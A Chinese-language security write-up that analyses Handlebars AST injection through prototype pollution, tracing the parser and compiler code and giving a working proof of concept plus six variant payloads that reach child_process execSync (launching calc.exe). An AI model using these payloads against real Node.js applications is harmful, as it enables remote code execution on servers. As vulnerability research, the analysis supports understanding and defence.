详细分析Handlebars AST注入
原理图
handlebars
的parser
在解析NumberLiteral
类型的字符串时会使用Number()
函数进行强制转换,正常情况下这个字符串只能数字,但是用过原型链污染我们可以构造一个非数字型的字符串
case 35 : this .$ = { type : 'StringLiteral' , value : $$[$0 ], original : $$[$0 ], loc : yy.locInfo (this ._$ ) }; break ; case 36 : this .$ = { type : 'NumberLiteral' , value : Number ($$[$0 ]), original : Number ($$[$0 ]), loc : yy.locInfo (this ._$ ) }; break ;
在将AST编译为函数时,handlebars
用pushString
将字符串传到opcode
中,用pushLiteral
将数字和布尔值传入到opcode
中,而这个opcode
就是之后用来构造模板函数的,Literal
类型在AST中表示变量的意思,具体可以参考Esprima语法树标准 ,所以我们下面我们能够利用的类型有NumberLiteral
和BooleanLiteral
StringLiteral : function StringLiteral (string ) { this .opcode ('pushString' , string.value ); }, NumberLiteral : function NumberLiteral (number ) { this .opcode ('pushLiteral' , number.value ); }, BooleanLiteral : function BooleanLiteral (bool ) { this .opcode ('pushLiteral' , bool.value ); }, UndefinedLiteral : function UndefinedLiteral ( ) { this .opcode ('pushLiteral' , 'undefined' ); }, opcode : function opcode (name ) { this .opcodes .push ({ opcode : name, args : slice.call (arguments , 1 ), loc : this .sourceNode [0 ].loc }); },
那么我们如何调用这些函数呢,handlebars
在编译语法树时会调用一个叫accept
的函数来处理我们的语法树节点,他会调用node.type
对应的构造函数来修改opcode
,所以我们的重点也可以转换成如何控制accept(node)
中node
值,且保证解析流程正常进行
accept : function accept (node ) { if (!this [node.type ]) { throw new _exception2['default' ]('Unknown type: ' + node.type , node); } this .sourceNode .unshift (node); var ret = this [node.type ](node); this .sourceNode .shift (); return ret; },
Payload
原文作者采用的payload
const Handlebars = require('handlebars' );Object.prototype.type = 'Program' ; Object.prototype.body = [{ "type" : "MustacheStatement" , "path" : 0 , "params" : [{ "type" : "NumberLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }], "loc" : { "start" : 0 } }]; var source = "<h1>It works!</h1>" ;var template = Handlebars.compile(source);console.log(template({}));
大概流程:
将type
修改为Program
绕过Lexer
解析
污染Program
中的body
,注入自定义的AST
在compiler.js
文件中找到可用Gadget
,此Gadget
能够控制accept(node)
中node
值,原文作者利用的是MustacheStatement
漏洞分析 调用栈 compiler.js /ret () compiler.js /compileInput () base.js /parse () base.js /parseWithoutProcessing () visitor.js /accept () compiler.js /compile () compiler.js /accept () compiler.js /Program () compiler.js /MustacheStatement () compiler.js /NumberLiteral () <-- 注入payload javascript-compiler.js /compile () javascript-compiler.js /createFunctionContext <-- 生成模板函数体 handlebars.runtime .js /create () runtime.js /ret () runtime.js /executeDecorators () anonymous/templateSpec.main ()
解析入口 function ret (context, execOptions ) { if (!compiled) { compiled = compileInput (); } return compiled.call (this , context, execOptions); }
解析AST function compileInput ( ) { var ast = env.parse (input, options), environment = new env.Compiler ().compile (ast, options), templateSpec = new env.JavaScriptCompiler ().compile (environment, options, undefined , true ); return env.template (templateSpec); }
语法树解析
function parse (input, options ) { var ast = parseWithoutProcessing (input, options); var strip = new _whitespaceControl2['default' ](options); return strip.accept (ast); }
这里的重点是将input.type
污染为Program
,从而绕过AST的转换阶段
function parseWithoutProcessing (input, options ) { if (input.type === 'Program' ) { return input; } _parser2['default' ].yy = yy; yy.locInfo = function (locInfo ) { return new yy.SourceLocation (options && options.srcName , locInfo); }; var ast = _parser2['default' ].parse (input); return ast; }
这里是递归解析语法树
accept : function accept (object ) { if (!object) { return ; } if (!this [object.type ]) { throw new _exception2['default' ]('Unknown type: ' + object.type , object); } if (this .current ) { this .parents .unshift (this .current ); } this .current = object; var ret = this [object.type ](object); this .current = this .parents .shift (); if (!this .mutating || ret) { return ret; } else if (ret !== false ) { return object; } },
编译环境变量 function compileInput ( ) { var ast = env.parse (input, options), environment = new env.Compiler ().compile (ast, options), templateSpec = new env.JavaScriptCompiler ().compile (environment, options, undefined , true ); return env.template (templateSpec); }
compile : function compile (program, options ) { this .sourceNode = []; this .opcodes = []; this .children = []; this .options = options; this .stringParams = options.stringParams ; this .trackIds = options.trackIds ; options.blockParams = options.blockParams || []; options.knownHelpers = _utils.extend (Object .create (null ), { helperMissing : true , blockHelperMissing : true , each : true , 'if' : true , unless : true , 'with' : true , log : true , lookup : true }, options.knownHelpers ); return this .accept (program); },
accept : function accept (node ) { if (!this [node.type ]) { throw new _exception2['default' ]('Unknown type: ' + node.type , node); } this .sourceNode .unshift (node); var ret = this [node.type ](node); this .sourceNode .shift (); return ret; },
第一次node.type
被污染为program
Program : function Program (program ) { this .options .blockParams .unshift (program.blockParams ); var body = program.body , bodyLength = body.length ; for (var i = 0 ; i < bodyLength; i++) { this .accept (body[i]); } this .options .blockParams .shift (); this .isSimple = bodyLength === 1 ; this .blockParams = program.blockParams ? program.blockParams .length : 0 ; return this ; },
第二次node.type
为自定义的MustacheStatement
MustacheStatement : function MustacheStatement (mustache ) { this .SubExpression (mustache); if (mustache.escaped && !this .options .noEscape ) { this .opcode ('appendEscaped' ); } else { this .opcode ('append' ); } }, SubExpression : function SubExpression (sexpr ) { transformLiteralToPath (sexpr); var type = this .classifySexpr (sexpr); if (type === 'simple' ) { this .simpleSexpr (sexpr); } else if (type === 'helper' ) { this .helperSexpr (sexpr); } else { this .ambiguousSexpr (sexpr); } }, helperSexpr : function helperSexpr (sexpr, program, inverse ) { var params = this .setupFullMustacheParams (sexpr, program, inverse), path = sexpr.path , name = path.parts [0 ]; if (this .options .knownHelpers [name]) { this .opcode ('invokeKnownHelper' , params.length , name); } else if (this .options .knownHelpersOnly ) { throw new _exception2['default' ]('You specified knownHelpersOnly, but used the unknown helper ' + name, sexpr); } else { path.strict = true ; path.falsy = true ; this .accept (path); this .opcode ('invokeHelper' , params.length , path.original , _ast2['default' ].helpers .simpleId (path)); } }, setupFullMustacheParams : function setupFullMustacheParams (sexpr, program, inverse, omitEmpty ) { var params = sexpr.params ; this .pushParams (params); this .opcode ('pushProgram' , program); this .opcode ('pushProgram' , inverse); if (sexpr.hash ) { this .accept (sexpr.hash ); } else { this .opcode ('emptyHash' , omitEmpty); } return params; }, pushParams : function pushParams (params ) { for (var i = 0 , l = params.length ; i < l; i++) { this .pushParam (params[i]); } }, pushParam : function pushParam (val ) { var value = val.value != null ? val.value : val.original || '' ; if (this .stringParams ) { if (value.replace ) { value = value.replace (/^(\.?\.\/)*/g , '' ).replace (/\//g , '.' ); } if (val.depth ) { this .addDepth (val.depth ); } this .opcode ('getContext' , val.depth || 0 ); this .opcode ('pushStringParam' , value, val.type ); if (val.type === 'SubExpression' ) { this .accept (val); } } else { if (this .trackIds ) { var blockParamIndex = undefined ; if (val.parts && !_ast2['default' ].helpers .scopedId (val) && !val.depth ) { blockParamIndex = this .blockParamIndex (val.parts [0 ]); } if (blockParamIndex) { var blockParamChild = val.parts .slice (1 ).join ('.' ); this .opcode ('pushId' , 'BlockParam' , blockParamIndex, blockParamChild); } else { value = val.original || value; if (value.replace ) { value = value.replace (/^this(?:\.|$)/ , '' ).replace (/^\.\// , '' ).replace (/^\.$/ , '' ); } this .opcode ('pushId' , val.type , value); } } this .accept (val); } },
第三次node.type
为NumberLiteral
StringLiteral : function StringLiteral (string ) { this .opcode ('pushString' , string.value ); }, NumberLiteral : function NumberLiteral (number ) { this .opcode ('pushLiteral' , number.value ); }, BooleanLiteral : function BooleanLiteral (bool ) { this .opcode ('pushLiteral' , bool.value ); }, UndefinedLiteral : function UndefinedLiteral ( ) { this .opcode ('pushLiteral' , 'undefined' ); },
后面还有一系列对opcode
的操作,均为MustacheStatement
语法树的编译过程,下图是编译好MustacheStatement
语法树之后opcodes
的全部操作,而我们的payload就被注入了第一个
编译模板 function compileInput ( ) { var ast = env.parse (input, options), environment = new env.Compiler ().compile (ast, options), templateSpec = new env.JavaScriptCompiler ().compile (environment, options, undefined , true ); return env.template (templateSpec); }
compile : function compile (environment, options, context, asObject ) { this .environment = environment; this .options = options; this .stringParams = this .options .stringParams ; this .trackIds = this .options .trackIds ; this .precompile = !asObject; this .name = this .environment .name ; this .isChild = !!context; this .context = context || { decorators : [], programs : [], environments : [] }; this .preamble (); this .stackSlot = 0 ; this .stackVars = []; this .aliases = {}; this .registers = { list : [] }; this .hashes = []; this .compileStack = []; this .inlineStack = []; this .blockParams = []; this .compileChildren (environment, options); this .useDepths = this .useDepths || environment.useDepths || environment.useDecorators || this .options .compat ; this .useBlockParams = this .useBlockParams || environment.useBlockParams ; var opcodes = environment.opcodes , opcode = undefined , firstLoc = undefined , i = undefined , l = undefined ; for (i = 0 , l = opcodes.length ; i < l; i++) { opcode = opcodes[i]; this .source .currentLocation = opcode.loc ; firstLoc = firstLoc || opcode.loc ; this [opcode.opcode ].apply (this , opcode.args ); } this .source .currentLocation = firstLoc; this .pushSource ('' ); if (this .stackSlot || this .inlineStack .length || this .compileStack .length ) { throw new _exception2['default' ]('Compile completed with content left on stack' ); } if (!this .decorators .isEmpty ()) { this .useDecorators = true ; this .decorators .prepend (['var decorators = container.decorators, ' , this .lookupPropertyFunctionVarDeclaration (), ';\n' ]); this .decorators .push ('return fn;' ); if (asObject) { this .decorators = Function .apply (this , ['fn' , 'props' , 'container' , 'depth0' , 'data' , 'blockParams' , 'depths' , this .decorators .merge ()]); } else { this .decorators .prepend ('function(fn, props, container, depth0, data, blockParams, depths) {\n' ); this .decorators .push ('}\n' ); this .decorators = this .decorators .merge (); } } else { this .decorators = undefined ; } var fn = this .createFunctionContext (asObject); if (!this .isChild ) { var ret = { compiler : this .compilerInfo (), main : fn }; if (this .decorators ) { ret.main_d = this .decorators ; ret.useDecorators = true ; } var _context = this .context ; var programs = _context.programs ; var decorators = _context.decorators ; for (i = 0 , l = programs.length ; i < l; i++) { if (programs[i]) { ret[i] = programs[i]; if (decorators[i]) { ret[i + '_d' ] = decorators[i]; ret.useDecorators = true ; } } } if (this .environment .usePartial ) { ret.usePartial = true ; } if (this .options .data ) { ret.useData = true ; } if (this .useDepths ) { ret.useDepths = true ; } if (this .useBlockParams ) { ret.useBlockParams = true ; } if (this .options .compat ) { ret.compat = true ; } if (!asObject) { ret.compiler = JSON .stringify (ret.compiler ); this .source .currentLocation = { start : { line : 1 , column : 0 } }; ret = this .objectLiteral (ret); if (options.srcName ) { ret = ret.toStringWithSourceMap ({ file : options.destName }); ret.map = ret.map && ret.map .toString (); } else { ret = ret.toString (); } } else { ret.compilerOptions = this .options ; } return ret; } else { return fn; } },
执行opcode
中pushLiteral
的具体实现流程
pushLiteral : function pushLiteral (value ) { this .pushStackLiteral (value); }, pushStackLiteral : function pushStackLiteral (item ) { this .push (new Literal (item)); }, function Literal (value ) { this .value = value; } push : function push (expr ) { if (!(expr instanceof Literal )) { expr = this .source .wrap (expr); } this .inlineStack .push (expr); return expr; },
在执行最后的append
操作的时候会将inlineStack
中的内容pop出来加入到Source
中
append : function append ( ) { if (this .isInline ()) { this .replaceStack (function (current ) { return [' != null ? ' , current, ' : ""' ]; }); this .pushSource (this .appendToBuffer (this .popStack ())); } else { var local = this .popStack (); this .pushSource (['if (' , local, ' != null) { ' , this .appendToBuffer (local, undefined , true ), ' }' ]); if (this .environment .isSimple ) { this .pushSource (['else { ' , this .appendToBuffer ("''" , undefined , true ), ' }' ]); } } },
这里是创建函数体上下文,将source
中的东西转换成字符串函数
createFunctionContext : function createFunctionContext (asObject ) { var _this = this ; var varDeclarations = '' ; var locals = this .stackVars .concat (this .registers .list ); if (locals.length > 0 ) { varDeclarations += ', ' + locals.join (', ' ); } var aliasCount = 0 ; Object .keys (this .aliases ).forEach (function (alias ) { var node = _this.aliases [alias]; if (node.children && node.referenceCount > 1 ) { varDeclarations += ', alias' + ++aliasCount + '=' + alias; node.children [0 ] = 'alias' + aliasCount; } }); if (this .lookupPropertyFunctionIsUsed ) { varDeclarations += ', ' + this .lookupPropertyFunctionVarDeclaration (); } var params = ['container' , 'depth0' , 'helpers' , 'partials' , 'data' ]; if (this .useBlockParams || this .useDepths ) { params.push ('blockParams' ); } if (this .useDepths ) { params.push ('depths' ); } var source = this .mergeSource (varDeclarations); if (asObject) { params.push (source); return Function .apply (this , params); } else { return this .source .wrap (['function(' , params.join (',' ), ') {\n ' , source, '}' ]); } },
生成模板 function compileInput ( ) { var ast = env.parse (input, options), environment = new env.Compiler ().compile (ast, options), templateSpec = new env.JavaScriptCompiler ().compile (environment, options, undefined , true ); return env.template (templateSpec); }
function create ( ) { var hb = new base.HandlebarsEnvironment (); Utils .extend (hb, base); hb.SafeString = _handlebarsSafeString2['default' ]; hb.Exception = _handlebarsException2['default' ]; hb.Utils = Utils ; hb.escapeExpression = Utils .escapeExpression ; hb.VM = runtime; hb.template = function (spec ) { return runtime.template (spec, hb); }; return hb; }
模板函数执行 function ret (context, execOptions ) { if (!compiled) { compiled = compileInput (); } return compiled.call (this , context, execOptions); }
function ret (context ) { var options = arguments .length <= 1 || arguments [1 ] === undefined ? {} : arguments [1 ]; var data = options.data ; ret._setup (options); if (!options.partial && templateSpec.useData ) { data = initData (context, data); } var depths = undefined , blockParams = templateSpec.useBlockParams ? [] : undefined ; if (templateSpec.useDepths ) { if (options.depths ) { depths = context != options.depths [0 ] ? [context].concat (options.depths ) : options.depths ; } else { depths = [context]; } } function main (context ) { return '' + templateSpec.main (container, context, container.helpers , container.partials , data, blockParams, depths); } main = executeDecorators (templateSpec.main , main, container, options.depths || [], data, blockParams); return main (context, options); }
被污染的函数 (function anonymous (container,depth0,helpers,partials,data ) { var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName ) { if (Object .prototype .hasOwnProperty .call (parent, propertyName)) { return parent[propertyName]; } return undefined }; return ((stack1 = (lookupProperty (helpers,"undefined" )||(depth0 && lookupProperty (depth0,"undefined" ))||container.hooks .helperMissing ).call (depth0 != null ? depth0 : (container.nullContext || {}),console .log (process.mainModule .require ('child_process' ).execSync ('calc.exe' ).toString ()),{"name" :"undefined" ,"hash" :{},"data" :data,"loc" :{"start" :0 ,"end" :0 }})) != null ? stack1 : "" ); })
总结
漏洞核心在于污染编译过程中的pushLiteral
操作,其中可以用到NumberLiteral
类型和BooleanLiteral
类型
令type
为Program
绕过Lexer
解析器,从compiler.js
找到可用的Gadget
在寻找Gadget
时注意保持语法树的栈平衡,不然会在编译的时候抛出如下错误,这也是为什么我们需要借助MustacheStatement
类型注入我们的payload,而不能直接将NumberLiteral
注入到body
中
if (this .stackSlot || this .inlineStack .length || this .compileStack .length ) { throw new _exception2['default' ]('Compile completed with content left on stack' ); }
拓展 BooleanLiteral 将NumberLiteral
替换为BooleanLiteral
const Handlebars = require ('handlebars' );Object .prototype .type = 'Program' ;Object .prototype .body = [{ "type" : "MustacheStatement" , "params" : [{ "type" : "BooleanLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }], "path" : 0 , "loc" : { "start" : 0 } }]; var source = "<h1>It works!</h1>" ;var template = Handlebars .compile (source);console .log (template ({}));
PartialStatement 将MustacheStatement
改为PartialStatement
const Handlebars = require ('handlebars' );Object .prototype .type = 'Program' ;Object .prototype .body = [{ "type" : "PartialStatement" , "name" : "" , "params" : [{ "type" : "NumberLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }] }]; var source = "<h1>It works!</h1>" ;var template = Handlebars .compile (source);console .log (template ({}));
PartialBlockStatement 将MustacheStatement
改为PartialBlockStatement
const Handlebars = require ('handlebars' );Object .prototype .type = 'Program' ;Object .prototype .body = [{ "type" : "PartialBlockStatement" , "params" : [{ "type" : "NumberLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }], "name" : 0 , "openStrip" : 0 , "closeStrip" : 0 , "program" : { "body" : 0 }, }]; var source = "<h1>It works!</h1>" ;var template = Handlebars .compile (source);console .log (template ({}));
BlockStatement 将MustacheStatement
改为BlockStatement
const Handlebars = require ('handlebars' );Object .prototype .type = 'Program' ;Object .prototype .body = [{ "type" : "BlockStatement" , "params" : [{ "type" : "NumberLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }], "path" : 0 , "loc" : 0 , "openStrip" : 0 , "closeStrip" : 0 , "program" : { "body" : 0 } }]; var source = "<h1>It works!</h1>" ;var template = Handlebars .compile (source);console .log (template ({}));
Decorator 触发点和上面的有所差异,这个是在装饰main
函数的时候插入自定义代码
const Handlebars = require ('handlebars' );Object .prototype .type = 'Program' ;Object .prototype .body = [{ "type" : "Decorator" , "params" : [{ "type" : "NumberLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }], "path" : 0 , "loc" : { "start" : 0 } }]; var source = "<h1>It works!</h1>" ;var template = Handlebars .compile (source);console .log (template ({}));
inf Hash 无限内嵌Hash
类型
const Handlebars = require ('handlebars' );Object .prototype .type = 'Program' ;Object .prototype .body = [{ "type" : "MustacheStatement" , "params" : [{ "type" : "Hash" , "pairs" : [{ "value" :{ "type" : "Hash" , "pairs" : [{ "value" :{ "type" : "NumberLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }}] }}] }], "path" : 0 , "loc" : { "start" : 0 } }]; var source = "<h1>It works!</h1>" ;var template = Handlebars .compile (source);console .log (template ({}));
参考 https://blog.p6.is/AST-Injection/